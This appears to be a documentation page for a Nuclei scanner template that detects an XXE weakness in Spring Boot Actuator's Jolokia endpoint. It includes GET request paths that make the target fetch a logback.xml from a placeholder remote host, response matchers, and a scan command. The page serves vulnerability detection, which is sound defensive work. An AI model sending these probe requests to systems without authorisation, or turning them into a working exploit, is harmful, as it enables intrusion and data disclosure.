Spring Boot Actuators (Jolokia) XXE
ID: springboot-actuators-jolokia-xxe
Severity: high
Author: dwisiswant0,ipanda
Tags: springboot,jolokia,xxe
Description
Section titled “Description”A vulnerability in Spring Boot Actuators’s ‘jolokia’ endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.
YAML Source
Section titled “YAML Source”id: springboot-actuators-jolokia-xxe
info: name: Spring Boot Actuators (Jolokia) XXE author: dwisiswant0,ipanda severity: high description: A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine. reference: - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators - https://github.com/mpgn/Spring-Boot-Actuator-Exploit metadata: max-request: 2 tags: springboot,jolokia,xxe
http: - method: GET path: - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" - "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml"
stop-at-first-match: true
matchers-condition: and matchers: - type: word part: body words: - "http:\\/\\/nonexistent:31337\\/logback.xml" - "reloadByURL" - "JoranException" condition: and
- type: status status: - 200# digest: 4a0a00473045022024d7e5ce412b63532e069cf49c5afac030dc026de54bb357d312d41185d5ded40221008efd60ab5077eb463dab6fb150a1a72dbee93cdbcdf18004c7c41e1873270a70:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/springboot/springboot-actuators-jolokia-xxe.yaml"